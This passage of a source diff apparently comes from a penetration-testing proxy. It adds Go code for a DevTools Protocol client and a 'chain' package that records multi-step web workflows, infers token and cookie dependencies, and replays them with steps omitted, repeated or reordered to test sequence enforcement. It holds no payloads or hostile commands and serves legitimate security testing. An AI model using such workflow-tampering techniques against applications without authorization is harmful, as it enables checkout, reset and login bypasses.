return "", fmt.Errorf("cdp discovery timed out: %w", lastErr)
|
||||
}
|
||||
return "", fmt.Errorf("cdp discovery timed out: no page target on port %d", port)
|
||||
}
|
||||
|
||||
func fetchPageWS(ctx context.Context, endpoint string) (string, error) {
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var targets []targetInfo
|
||||
if err := json.NewDecoder(resp.Body).Decode(&targets); err != nil {
|
||||
return "", err
|
||||
}
|
||||
for _, t := range targets {
|
||||
if t.Type == "page" && t.WebSocketDebuggerURL != "" {
|
||||
if _, err := url.Parse(t.WebSocketDebuggerURL); err == nil {
|
||||
return t.WebSocketDebuggerURL, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", nil
|
||||
}
|
||||
|
||||
// readLoop dispatches replies to their waiting caller and events to handlers.
|
||||
func (c *Client) readLoop() {
|
||||
for {
|
||||
var msg rpcResponse
|
||||
if err := c.conn.ReadJSON(&msg); err != nil {
|
||||
c.fail()
|
||||
return
|
||||
}
|
||||
if msg.ID != 0 {
|
||||
c.mu.Lock()
|
||||
ch := c.pending[msg.ID]
|
||||
delete(c.pending, msg.ID)
|
||||
c.mu.Unlock()
|
||||
if ch != nil {
|
||||
ch <- msg
|
||||
}
|
||||
continue
|
||||
}
|
||||
if msg.Method != "" {
|
||||
c.mu.Lock()
|
||||
hs := append([]func(json.RawMessage){}, c.handlers[msg.Method]...)
|
||||
c.mu.Unlock()
|
||||
for _, h := range hs {
|
||||
h(msg.Params)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// fail wakes every pending caller when the socket dies, so a Send cannot hang
|
||||
// past the connection.
|
||||
func (c *Client) fail() {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if c.closed {
|
||||
return
|
||||
}
|
||||
c.closed = true
|
||||
for id, ch := range c.pending {
|
||||
close(ch)
|
||||
delete(c.pending, id)
|
||||
}
|
||||
}
|
||||
|
||||
// Send issues a command and waits for its reply (or the context's deadline).
|
||||
func (c *Client) Send(ctx context.Context, method string, params any) (json.RawMessage, error) {
|
||||
c.mu.Lock()
|
||||
if c.closed {
|
||||
c.mu.Unlock()
|
||||
return nil, fmt.Errorf("cdp: connection closed")
|
||||
}
|
||||
c.nextID++
|
||||
id := c.nextID
|
||||
ch := make(chan rpcResponse, 1)
|
||||
c.pending[id] = ch
|
||||
c.mu.Unlock()
|
||||
|
||||
if err := c.conn.WriteJSON(rpcRequest{ID: id, Method: method, Params: params}); err != nil {
|
||||
c.mu.Lock()
|
||||
delete(c.pending, id)
|
||||
c.mu.Unlock()
|
||||
return nil, fmt.Errorf("cdp write %s: %w", method, err)
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
case resp, ok := <-ch:
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("cdp: connection closed during %s", method)
|
||||
}
|
||||
if resp.Error != nil {
|
||||
return nil, resp.Error
|
||||
}
|
||||
return resp.Result, nil
|
||||
}
|
||||
}
|
||||
|
||||
// On registers a handler for a CDP event, e.g. "Runtime.bindingCalled". Handlers
|
||||
// run on the read loop, so they must not block.
|
||||
func (c *Client) On(method string, fn func(params json.RawMessage)) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
c.handlers[method] = append(c.handlers[method], fn)
|
||||
}
|
||||
|
||||
// Close tears down the socket.
|
||||
func (c *Client) Close() {
|
||||
c.mu.Lock()
|
||||
already := c.closed
|
||||
c.closed = true
|
||||
c.mu.Unlock()
|
||||
if !already {
|
||||
_ = c.conn.Close()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,336 @@
|
||||
package chain
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// ProposeBinding works one operator-chosen value up into bindings.
|
||||
//
|
||||
// The same inference Correlate runs, aimed by hand. Correlate's filters exist so
|
||||
// a bulk scan does not bury the two dependencies that matter in forty that do
|
||||
// not; an operator pointing at one value has already made that judgment, and the
|
||||
// places it lands are on screen. So they are reported as warnings here, and only
|
||||
// what the run cannot do is refused.
|
||||
//
|
||||
// The rules are not restated: harvest is the one table of what can read a value
|
||||
// out of a response.
|
||||
func ProposeBinding(c *Chain, fromStep, value string, opts BindOptions) (BindProposal, error) {
|
||||
producer, from, ok := c.StepByID(fromStep)
|
||||
if !ok {
|
||||
return BindProposal{}, fmt.Errorf("no such step %q", fromStep)
|
||||
}
|
||||
if len(producer.RespRaw) == 0 {
|
||||
return BindProposal{}, fmt.Errorf("%q has no recorded response to read a value out of", producer.Label)
|
||||
}
|
||||
if value == "" {
|
||||
return BindProposal{}, fmt.Errorf("nothing selected")
|
||||
}
|
||||
if len(value) > maxValueLen {
|
||||
return BindProposal{}, fmt.Errorf("selection is %d bytes, over the %d byte limit a source may return", len(value), maxValueLen)
|
||||
}
|
||||
|
||||
resp := httptools.ReadResponse(producer.RespRaw)
|
||||
sources := proposeSources(producer.RespRaw, resp, value, opts)
|
||||
out := BindProposal{Recorded: value, Sources: sources}
|
||||
|
||||
if len(sources) == 0 {
|
||||
return BindProposal{}, fmt.Errorf(
|
||||
"no rule can read that value back out of %q's response — nothing in the recorded response matches it", producer.Label)
|
||||
}
|
||||
best := sources[0].Source
|
||||
out.Var = varName(candidate{value: value, source: best}, c.Bindings)
|
||||
|
||||
// Correlate's filters are reported rather than applied — both are about how
|
||||
// easily a value is mistaken for another, which the span list now shows.
|
||||
if !plausible(value) {
|
||||
out.Warnings = append(out.Warnings, fmt.Sprintf(
|
||||
"%q is short or repetitive, so it may occur in places that are not this dependency — check the highlighted spans before accepting", value))
|
||||
}
|
||||
if isConstant(c, from, value) {
|
||||
out.Warnings = append(out.Warnings, fmt.Sprintf(
|
||||
"this value also appears in a request at or before %q, so it may be a constant rather than something that step produces", producer.Label))
|
||||
}
|
||||
|
||||
want := map[string]bool{}
|
||||
for _, id := range opts.ToSteps {
|
||||
want[id] = true
|
||||
}
|
||||
|
||||
for j := from + 1; j < len(c.Steps); j++ {
|
||||
consumer := c.Steps[j]
|
||||
if len(want) > 0 && !want[consumer.ID] {
|
||||
continue
|
||||
}
|
||||
spans, manual := opts.Spans[consumer.ID], false
|
||||
if len(spans) > 0 {
|
||||
manual = true
|
||||
} else {
|
||||
spans = findSpans(consumer.ReqRaw, value)
|
||||
}
|
||||
if len(spans) == 0 {
|
||||
if enc := encodedNote(consumer.ReqRaw, value); enc != "" {
|
||||
out.Warnings = append(out.Warnings, fmt.Sprintf("%s in %q", enc, consumer.Label))
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
t := BindTarget{Binding: Binding{
|
||||
Var: out.Var,
|
||||
FromStep: producer.ID,
|
||||
Source: best,
|
||||
ToStep: consumer.ID,
|
||||
Spans: spans,
|
||||
Recorded: value,
|
||||
OnMissing: MissingFail,
|
||||
}}
|
||||
if manual {
|
||||
t.Note = "bytes you picked"
|
||||
}
|
||||
if err := checkSpans(c, consumer, spans); err != nil {
|
||||
t.Conflict = err.Error()
|
||||
}
|
||||
out.Targets = append(out.Targets, t)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// BindOptions narrows a proposal to what the operator has already decided.
|
||||
type BindOptions struct {
|
||||
// Occurrence picks which appearance of the value in the producer's response
|
||||
// a between source anchors on. A token printed twice on one page needs two
|
||||
// different anchors, and the first is not always the one selected.
|
||||
Occurrence int
|
||||
|
||||
// Source overrides inference outright. An operator writing a regex has made
|
||||
// a judgment about a response that has not happened yet, which no ranking
|
||||
// over a single recording can make, so it is taken as given and only
|
||||
// verified.
|
||||
Source *Source
|
||||
|
||||
// ToSteps limits the search. Empty searches every step after the producer.
|
||||
ToSteps []string
|
||||
|
||||
// Spans supplied per consumer replace the literal search for that step. A
|
||||
// consumer that carries the value re-encoded has no literal occurrence to
|
||||
// find, and pointing at the bytes is the only remaining honest answer.
|
||||
Spans map[string][]Span
|
||||
}
|
||||
|
||||
// SourceOption is one rule that would read the chosen value out of a fresh
|
||||
// response, with the proof that it reads it out of the recorded one.
|
||||
//
|
||||
// Verified, not merely ranked: a value is hand-picked precisely when correlation
|
||||
// missed it, so inference is least trustworthy here. Extract turns "this rule
|
||||
// looks applicable" into "this rule returns the bytes you selected".
|
||||
type SourceOption struct {
|
||||
Source Source `json:"source"`
|
||||
Detail string `json:"detail"`
|
||||
Rank int `json:"rank"`
|
||||
|
||||
// Matched is what Extract returned against the recorded response, OK whether
|
||||
// that equals the selection, and Err why it did not run.
|
||||
Matched string `json:"matched,omitempty"`
|
||||
OK bool `json:"ok"`
|
||||
Err string `json:"err,omitempty"`
|
||||
}
|
||||
|
||||
// BindTarget is one consumer the value could be written into.
|
||||
type BindTarget struct {
|
||||
Binding Binding `json:"binding"`
|
||||
|
||||
// Conflict names why these spans cannot be accepted. Validation refuses an
|
||||
// overlap outright, so reporting it here keeps the refusal next to the click
|
||||
// rather than at the next save.
|
||||
Conflict string `json:"conflict,omitempty"`
|
||||
Note string `json:"note,omitempty"`
|
||||
}
|
||||
|
||||
// BindProposal is what one selected value amounts to. Empty Targets is a result,
|
||||
// not an error: a value nothing consumes literally is normal, and the source
|
||||
// inference is still the half the operator cannot redo by hand.
|
||||
type BindProposal struct {
|
||||
Var string `json:"var"`
|
||||
Recorded string `json:"recorded"`
|
||||
Sources []SourceOption `json:"sources"`
|
||||
Targets []BindTarget `json:"targets"`
|
||||
Warnings []string `json:"warnings,omitempty"`
|
||||
}
|
||||
|
||||
// proposeSources ranks and verifies every rule that would read value back out.
|
||||
//
|
||||
// respRaw as well as resp: harvest re-parses the captured bytes, and a
|
||||
// re-serialized decoded copy would contradict its own Content-Encoding.
|
||||
func proposeSources(respRaw []byte, resp httptools.Response, value string, opts BindOptions) []SourceOption {
|
||||
var cands []candidate
|
||||
if opts.Source != nil {
|
||||
cands = []candidate{{value: value, source: *opts.Source, rank: 100}}
|
||||
} else {
|
||||
exact := func(v string) bool { return v == value }
|
||||
cands = harvest(respRaw, exact, 0)
|
||||
if h, ok := headerSource(resp, value); ok {
|
||||
cands = append(cands, candidate{value: value, source: h, rank: 31})
|
||||
}
|
||||
// The same haystack Extract searches: a value in a header line has no
|
||||
// anchor in the body alone.
|
||||
hay := append(append([]byte(nil), headerBytes(resp)...), resp.Body...)
|
||||
if b, ok := betweenAt(hay, value, opts.Occurrence); ok {
|
||||
cands = append(cands, candidate{value: value, source: b, rank: 9})
|
||||
}
|
||||
}
|
||||
|
||||
seen := map[string]bool{}
|
||||
out := make([]SourceOption, 0, len(cands))
|
||||
for _, c := range cands {
|
||||
key := c.source.Describe()
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
o := SourceOption{Source: c.source, Detail: key, Rank: c.rank}
|
||||
got, err := Extract(c.source, resp)
|
||||
if err != nil {
|
||||
o.Err = err.Error()
|
||||
} else {
|
||||
o.Matched = got
|
||||
o.OK = got == value
|
||||
}
|
||||
out = append(out, o)
|
||||
}
|
||||
// A rule that returns the selection outranks a more specific one that does
|
||||
// not: specificity is a guess, failing on the recording is a fact.
|
||||
sort.SliceStable(out, func(i, j int) bool {
|
||||
if out[i].OK != out[j].OK {
|
||||
return out[i].OK
|
||||
}
|
||||
return out[i].Rank > out[j].Rank
|
||||
})
|
||||
return out
|
||||
}
|
||||
|
||||
// headerSource matches a chosen value against the producer's response headers.
|
||||
//
|
||||
// Correlate reads only interestingHeaders, because a bulk pass proposes
|
||||
// Content-Type and Date. A hand-picked value carries no such doubt, so any
|
||||
// header name is fair, and a whole-value match outlasts a text anchor.
|
||||
func headerSource(resp httptools.Response, value string) (Source, bool) {
|
||||
names := make([]string, 0, len(resp.Header))
|
||||
for name := range resp.Header {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names) // Header order is map order; a stable proposal needs one.
|
||||
for _, name := range names {
|
||||
for _, v := range resp.Header.Values(name) {
|
||||
if v == value {
|
||||
return Source{Kind: SourceHeader, Name: name}, true
|
||||
}
|
||||
}
|
||||
}
|
||||
return Source{}, false
|
||||
}
|
||||
|
||||
// betweenAt anchors a between source on the nth occurrence of value in the body.
|
||||
//
|
||||
// The fallback for a selection tokenRun does not match. It survives a changing
|
||||
// value but not a changing page, so it ranks below everything harvest produces.
|
||||
func betweenAt(body []byte, value string, occurrence int) (Source, bool) {
|
||||
s := string(body)
|
||||
at, off := -1, 0
|
||||
for i := 0; i <= occurrence; i++ {
|
||||
k := strings.Index(s[off:], value)
|
||||
if k < 0 {
|
||||
return Source{}, false
|
||||
}
|
||||
at = off + k
|
||||
off = at + len(value)
|
||||
}
|
||||
prefix := contextBefore(body, at)
|
||||
if prefix == "" {
|
||||
return Source{}, false // validateSource refuses an unanchored between.
|
||||
}
|
||||
return Source{Kind: SourceBetween, Prefix: prefix, Suffix: contextAfter(body, at+len(value))}, true
|
||||
}
|
||||
|
||||
// checkSpans applies the write-path rules a save would, so a target that cannot
|
||||
// be accepted says so at the click.
|
||||
func checkSpans(c *Chain, consumer Step, spans []Span) error {
|
||||
if len(spans) > MaxSpansPerBinding {
|
||||
return fmt.Errorf("writes to %d places, over the limit of %d", len(spans), MaxSpansPerBinding)
|
||||
}
|
||||
limit := len(consumer.ReqRaw)
|
||||
for _, sp := range spans {
|
||||
if sp.Start < 0 || sp.End > limit || sp.Start >= sp.End {
|
||||
return fmt.Errorf("a span falls outside %q's recorded request", consumer.Label)
|
||||
}
|
||||
}
|
||||
for _, b := range c.BindingsInto(consumer.ID) {
|
||||
for _, a := range b.Spans {
|
||||
for _, sp := range spans {
|
||||
if sp.Start < a.End && a.Start < sp.End {
|
||||
return fmt.Errorf("overlaps the bytes %q already writes", b.Var)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// encodedNote reports a value a consumer carries in some encoded form.
|
||||
//
|
||||
// Named, never offered as a span: Binding has no per-sink transform, so binding
|
||||
// an encoded occurrence injects the raw value and the rejection reads as the
|
||||
// application enforcing its order.
|
||||
//
|
||||
// Decoding the request rather than re-encoding the value, because there is no
|
||||
// single right percent-encoding and an encoder here would have to guess which
|
||||
// one the application used.
|
||||
func encodedNote(raw []byte, value string) string {
|
||||
s := string(raw)
|
||||
if dec := percentDecode(s); dec != s && strings.Contains(dec, value) {
|
||||
return "appears percent-encoded, so a span there would inject the raw value"
|
||||
}
|
||||
if enc := base64.StdEncoding.EncodeToString([]byte(value)); strings.Contains(s, strings.TrimRight(enc, "=")) {
|
||||
return "appears base64-encoded, so a span there would inject the raw value"
|
||||
}
|
||||
if esc := strings.ReplaceAll(value, "/", `\/`); esc != value && strings.Contains(s, esc) {
|
||||
return "appears with its slashes escaped, so a span there would inject the raw value"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// percentDecode resolves %XX escapes and leaves everything else alone.
|
||||
//
|
||||
// Not net/url.QueryUnescape, which refuses the whole input on a malformed
|
||||
// escape — and raw request bodies routinely carry a bare %.
|
||||
func percentDecode(s string) string {
|
||||
var b strings.Builder
|
||||
for i := 0; i < len(s); i++ {
|
||||
if s[i] == '%' && i+2 < len(s) {
|
||||
hi, ok1 := unhex(s[i+1])
|
||||
lo, ok2 := unhex(s[i+2])
|
||||
if ok1 && ok2 {
|
||||
b.WriteByte(hi<<4 | lo)
|
||||
i += 2
|
||||
continue
|
||||
}
|
||||
}
|
||||
b.WriteByte(s[i])
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func unhex(c byte) (byte, bool) {
|
||||
switch {
|
||||
case c >= '0' && c <= '9':
|
||||
return c - '0', true
|
||||
case c >= 'a' && c <= 'f':
|
||||
return c - 'a' + 10, true
|
||||
case c >= 'A' && c <= 'F':
|
||||
return c - 'A' + 10, true
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
@@ -0,0 +1,347 @@
|
||||
// Package chain models a multi-step workflow — a login, a checkout, a password
|
||||
// reset — as an ordered chain of captured requests plus the data dependencies
|
||||
// between them, and produces the mutated orderings that test whether the
|
||||
// application enforces its own sequence.
|
||||
//
|
||||
// # Nothing here sends
|
||||
//
|
||||
// Like internal/apispec, this package is structurally unable to reach the
|
||||
// network: no function takes a context.Context and nothing socket-capable is
|
||||
// imported. A chain renders to raw request bytes and internal/chainrun puts them
|
||||
// on the wire through Joro's own proxy, which is what keeps scope, Match &
|
||||
// Replace, Custom Data and intercept applying to a replay exactly as they apply
|
||||
// to browser traffic. A send path private to this package is what would break it.
|
||||
//
|
||||
// # The whole mutation vocabulary is an ordered list
|
||||
//
|
||||
// A Variant is an ordered list of step references. Omit an entry and the step is
|
||||
// skipped; list an entry twice and it repeats; permute the entries and the order
|
||||
// changes. The three verbs an operator reaches for are one concept, so there is
|
||||
// one code path to execute them and one place to be wrong.
|
||||
//
|
||||
// # Why a sink is byte spans and a source is an extractor
|
||||
//
|
||||
// The two ends of a dependency are addressed differently, on purpose.
|
||||
//
|
||||
// The consumer end is a recorded request — a fixed artifact Joro owns — so exact
|
||||
// byte offsets are available and unambiguous. Literal search is the obvious
|
||||
// alternative and it is wrong: an order id of "42" occurs in a dozen innocent
|
||||
// places in a request, and replacing all of them corrupts it in ways that read
|
||||
// as the server rejecting the replay. Spans cannot over-match. They are applied
|
||||
// descending by offset so an earlier substitution never shifts a later one, and
|
||||
// they are applied before any Edit, because an Edit invalidates offsets computed
|
||||
// against the snapshot.
|
||||
//
|
||||
// The producer end is a response that has not happened yet and whose bytes Joro
|
||||
// does not control, so an offset against the recording means nothing. It needs a
|
||||
// rule that generalizes to a fresh response, which is what a Source is.
|
||||
//
|
||||
// # Why there is no cookie jar
|
||||
//
|
||||
// httptools.Contexts is the obvious reuse and its documented semantics are wrong
|
||||
// here: Apply never overrides a cookie already present in the request, so a
|
||||
// replay would keep sending the recorded session cookie rather than the fresh one
|
||||
// the run's own first step just issued. A session cookie is simply another
|
||||
// dependency — correlation finds it by matching a recorded Set-Cookie value
|
||||
// against a later recorded Cookie header, and a cookie source resolves by name so
|
||||
// a rotated session id still binds. One mechanism, no special case, and the
|
||||
// dependency stays visible in the map, which is the thing this feature exists to
|
||||
// show.
|
||||
package chain
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// Bounds. A chain carries raw request bytes into the project file, so these are
|
||||
// sized against that file staying openable rather than against any protocol
|
||||
// limit.
|
||||
const (
|
||||
// MaxChains bounds the project file. Each chain holds a snapshot of every
|
||||
// step's request bytes.
|
||||
MaxChains = 50
|
||||
|
||||
// MaxSteps bounds one chain. A workflow long enough to exceed this is two
|
||||
// workflows.
|
||||
MaxSteps = 64
|
||||
|
||||
// MaxBindings bounds one chain's dependency edges.
|
||||
MaxBindings = 128
|
||||
|
||||
// MaxStepBytes caps one step's recorded request. A file-upload step would
|
||||
// otherwise put megabytes into every project save.
|
||||
MaxStepBytes = 1 << 20
|
||||
|
||||
// MaxStepRespBytes caps the recorded response. It is kept only so that
|
||||
// correlation can be re-run after a project is reopened — by which time the
|
||||
// history rows it was built from are long evicted — and so the map can show
|
||||
// what a step answered. Neither needs a whole page, so this is much tighter
|
||||
// than the request cap.
|
||||
MaxStepRespBytes = 256 << 10
|
||||
|
||||
// MaxSpansPerBinding bounds how many places one value may be injected. A
|
||||
// CSRF token in a header and a form field is two; more than a handful means
|
||||
// correlation matched something far too common.
|
||||
MaxSpansPerBinding = 32
|
||||
|
||||
// MaxVariantsPerRun and MaxInstancesPerRun bound a sweep. The instance cap
|
||||
// matches apiscan.MaxRequestsPerRun because it bounds the same thing: real
|
||||
// requests leaving the machine.
|
||||
MaxVariantsPerRun = 128
|
||||
MaxInstancesPerRun = 2000
|
||||
|
||||
// MaxNameLen bounds operator-supplied labels.
|
||||
MaxNameLen = 80
|
||||
|
||||
// MaxVarLen bounds a variable name.
|
||||
MaxVarLen = 64
|
||||
)
|
||||
|
||||
// OnMissing values decide what a step does when a value it consumes was never
|
||||
// produced — because the producing step was omitted, or moved after it.
|
||||
const (
|
||||
// MissingFail refuses to send. This is the default, and it is the reason the
|
||||
// feature can be trusted: a step that silently sent a stale token would look
|
||||
// exactly like the application rejecting the request, turning "my replay fell
|
||||
// apart" into a false "the application enforced it".
|
||||
MissingFail = "fail"
|
||||
|
||||
// MissingRecorded sends the originally captured value. Opt-in per binding,
|
||||
// because replaying a stale token is frequently the actual test.
|
||||
MissingRecorded = "recorded"
|
||||
)
|
||||
|
||||
// Source kinds. Each must generalize to a response that has not happened yet.
|
||||
const (
|
||||
SourceHeader = "header" // Name: header name
|
||||
SourceCookie = "cookie" // Name: cookie name, read from Set-Cookie
|
||||
SourceJSON = "json" // Path: dotted path with [i] indices
|
||||
SourceRegex = "regex" // Expr + Group
|
||||
SourceBetween = "between" // Prefix + Suffix literals
|
||||
)
|
||||
|
||||
// Variant kinds. The kind decides which question the verdict answers, so it
|
||||
// travels with the variant rather than being inferred from its shape.
|
||||
const (
|
||||
VariantBaseline = "baseline"
|
||||
VariantOmit = "omit"
|
||||
VariantRepeat = "repeat"
|
||||
VariantMove = "move"
|
||||
)
|
||||
|
||||
// Span is a byte range in a step's recorded request bytes.
|
||||
type Span struct {
|
||||
Start int `json:"start"`
|
||||
End int `json:"end"`
|
||||
}
|
||||
|
||||
// Source describes how to read a value out of a live response.
|
||||
type Source struct {
|
||||
Kind string `json:"kind"`
|
||||
Name string `json:"name,omitempty"`
|
||||
Path string `json:"path,omitempty"`
|
||||
Expr string `json:"expr,omitempty"`
|
||||
Group int `json:"group,omitempty"`
|
||||
Prefix string `json:"prefix,omitempty"`
|
||||
Suffix string `json:"suffix,omitempty"`
|
||||
}
|
||||
|
||||
// Binding is one data dependency: a value a later step consumes.
|
||||
//
|
||||
// Both ends live on one type so that an edge on the map is a binding and a
|
||||
// binding is an edge, and so that a chain cannot hold an injection referring to a
|
||||
// variable nothing produces.
|
||||
type Binding struct {
|
||||
ID string `json:"id"`
|
||||
Var string `json:"var"`
|
||||
|
||||
// FromStep produces the value; Source reads it from that step's response.
|
||||
FromStep string `json:"fromStep"`
|
||||
Source Source `json:"source"`
|
||||
|
||||
// ToStep consumes it; Spans are byte ranges in that step's recorded ReqRaw.
|
||||
ToStep string `json:"toStep"`
|
||||
Spans []Span `json:"spans"`
|
||||
|
||||
// Recorded is the literal captured at build time. It is what MissingRecorded
|
||||
// sends, and it is what the map shows the operator so a binding can be read
|
||||
// without opening two raw panes.
|
||||
Recorded string `json:"recorded"`
|
||||
|
||||
OnMissing string `json:"onMissing,omitempty"`
|
||||
|
||||
// Auto marks a binding correlation proposed rather than one the operator
|
||||
// wrote, so the UI can offer to re-run correlation without discarding hand
|
||||
// work.
|
||||
Auto bool `json:"auto,omitempty"`
|
||||
}
|
||||
|
||||
// Step is one recorded request.
|
||||
//
|
||||
// ReqRaw is a snapshot rather than a reference to a history row. The capture ring
|
||||
// evicts, projects are saved and reopened on other machines, and a chain whose
|
||||
// steps evaporate is worse than useless during an engagement.
|
||||
type Step struct {
|
||||
ID string `json:"id"`
|
||||
Label string `json:"label"`
|
||||
Scheme string `json:"scheme"`
|
||||
Host string `json:"host"`
|
||||
ReqRaw []byte `json:"reqRaw"`
|
||||
|
||||
// RespRaw is what this step answered when it was recorded. Correlation reads
|
||||
// it to find the values later steps consume; nothing at replay time does.
|
||||
RespRaw []byte `json:"respRaw,omitempty"`
|
||||
|
||||
// OriginSeq is the history row this came from, for "view in History". It may
|
||||
// have been evicted; nothing depends on it resolving.
|
||||
OriginSeq int `json:"originSeq,omitempty"`
|
||||
|
||||
// Setup marks a step the generator must not mutate — a login, an
|
||||
// add-to-cart. Because it is never omitted, moved or repeated, it survives
|
||||
// at its recorded position in every variant and so re-runs before each one,
|
||||
// which needs no prefix machinery and is what makes a stateful chain
|
||||
// testable: otherwise every variant after the first runs against state the
|
||||
// previous variant consumed. Marking a step Setup also says the operator is
|
||||
// not interested in what skipping it proves.
|
||||
Setup bool `json:"setup,omitempty"`
|
||||
|
||||
// Edits are manual overrides, applied after binding spans so an operator can
|
||||
// override a bound value.
|
||||
Edits []httptools.Edit `json:"edits,omitempty"`
|
||||
}
|
||||
|
||||
// Chain is an ordered workflow.
|
||||
type Chain struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Steps []Step `json:"steps"`
|
||||
Bindings []Binding `json:"bindings"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
UpdatedAt time.Time `json:"updatedAt"`
|
||||
|
||||
// GoalStepID is the step whose outcome decides a variant's verdict. Empty
|
||||
// means the last step, which is what an operator means by "did the checkout
|
||||
// go through".
|
||||
GoalStepID string `json:"goalStepId,omitempty"`
|
||||
}
|
||||
|
||||
// Variant is one ordering to execute. Steps holds step IDs in execution order,
|
||||
// with duplicates allowed.
|
||||
type Variant struct {
|
||||
ID string `json:"id"`
|
||||
Kind string `json:"kind"`
|
||||
Label string `json:"label"`
|
||||
Steps []string `json:"steps"`
|
||||
|
||||
// Target names the step the mutation acted on, so a result row can say what
|
||||
// was done without re-deriving it from the ordering.
|
||||
Target string `json:"target,omitempty"`
|
||||
}
|
||||
|
||||
// StepByID returns a step and its index, or false.
|
||||
func (c *Chain) StepByID(id string) (Step, int, bool) {
|
||||
for i, s := range c.Steps {
|
||||
if s.ID == id {
|
||||
return s, i, true
|
||||
}
|
||||
}
|
||||
return Step{}, 0, false
|
||||
}
|
||||
|
||||
// GoalStep resolves the goal, defaulting to the last step.
|
||||
func (c *Chain) GoalStep() (Step, bool) {
|
||||
if len(c.Steps) == 0 {
|
||||
return Step{}, false
|
||||
}
|
||||
if c.GoalStepID != "" {
|
||||
if s, _, ok := c.StepByID(c.GoalStepID); ok {
|
||||
return s, true
|
||||
}
|
||||
}
|
||||
return c.Steps[len(c.Steps)-1], true
|
||||
}
|
||||
|
||||
// BindingsInto returns the bindings a step consumes.
|
||||
func (c *Chain) BindingsInto(stepID string) []Binding {
|
||||
var out []Binding
|
||||
for _, b := range c.Bindings {
|
||||
if b.ToStep == stepID {
|
||||
out = append(out, b)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// BindingsFrom returns the bindings a step produces.
|
||||
func (c *Chain) BindingsFrom(stepID string) []Binding {
|
||||
var out []Binding
|
||||
for _, b := range c.Bindings {
|
||||
if b.FromStep == stepID {
|
||||
out = append(out, b)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Clone returns a deep copy. The store hands these out so a caller editing a
|
||||
// chain cannot mutate the live one behind everybody else's back.
|
||||
func (c *Chain) Clone() *Chain {
|
||||
if c == nil {
|
||||
return nil
|
||||
}
|
||||
out := *c
|
||||
out.Steps = make([]Step, len(c.Steps))
|
||||
for i, s := range c.Steps {
|
||||
s.ReqRaw = append([]byte(nil), s.ReqRaw...)
|
||||
s.RespRaw = append([]byte(nil), s.RespRaw...)
|
||||
s.Edits = append([]httptools.Edit(nil), s.Edits...)
|
||||
out.Steps[i] = s
|
||||
}
|
||||
out.Bindings = make([]Binding, len(c.Bindings))
|
||||
for i, b := range c.Bindings {
|
||||
b.Spans = append([]Span(nil), b.Spans...)
|
||||
out.Bindings[i] = b
|
||||
}
|
||||
return &out
|
||||
}
|
||||
|
||||
// Normalize materializes the collections that cross the API boundary.
|
||||
//
|
||||
// Every slice here is either omitempty or guaranteed non-nil, for the reason
|
||||
// apispec.Spec.normalize gives: a field that is neither ships JSON null against a
|
||||
// TypeScript type promising an array, and the first symptom is a map render
|
||||
// crashing on someone's engagement.
|
||||
func (c *Chain) Normalize() {
|
||||
if c.Steps == nil {
|
||||
c.Steps = []Step{}
|
||||
}
|
||||
if c.Bindings == nil {
|
||||
c.Bindings = []Binding{}
|
||||
}
|
||||
for i := range c.Bindings {
|
||||
if c.Bindings[i].Spans == nil {
|
||||
c.Bindings[i].Spans = []Span{}
|
||||
}
|
||||
if c.Bindings[i].OnMissing == "" {
|
||||
c.Bindings[i].OnMissing = MissingFail
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// newID returns a short random identifier. Chains outlive a process and are
|
||||
// merged across machines through project files, so their ids cannot be
|
||||
// positional the way step and binding ids are.
|
||||
func newID() string {
|
||||
var b [8]byte
|
||||
if _, err := rand.Read(b[:]); err != nil {
|
||||
// crypto/rand does not fail in practice; a time-derived fallback keeps
|
||||
// this total rather than making every caller handle an error that
|
||||
// cannot happen.
|
||||
return hex.EncodeToString([]byte(time.Now().Format("150405.000000")))
|
||||
}
|
||||
return hex.EncodeToString(b[:])
|
||||
}
|
||||
@@ -0,0 +1,414 @@
|
||||
package chain
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"math"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// Correlation thresholds.
|
||||
const (
|
||||
// minCandidateLen is the shortest value worth binding. Below this a literal
|
||||
// occurs by coincidence: an order id of "42" appears in a dozen innocent
|
||||
// places in a request, and binding it corrupts them all.
|
||||
minCandidateLen = 6
|
||||
|
||||
// minCandidateEntropy separates an identifier from a word. Random base64
|
||||
// scores around 6.0 and random hex around 4.0; English prose runs 4.0 to 4.5
|
||||
// over a paragraph but a single short word scores well under 3.0, which is
|
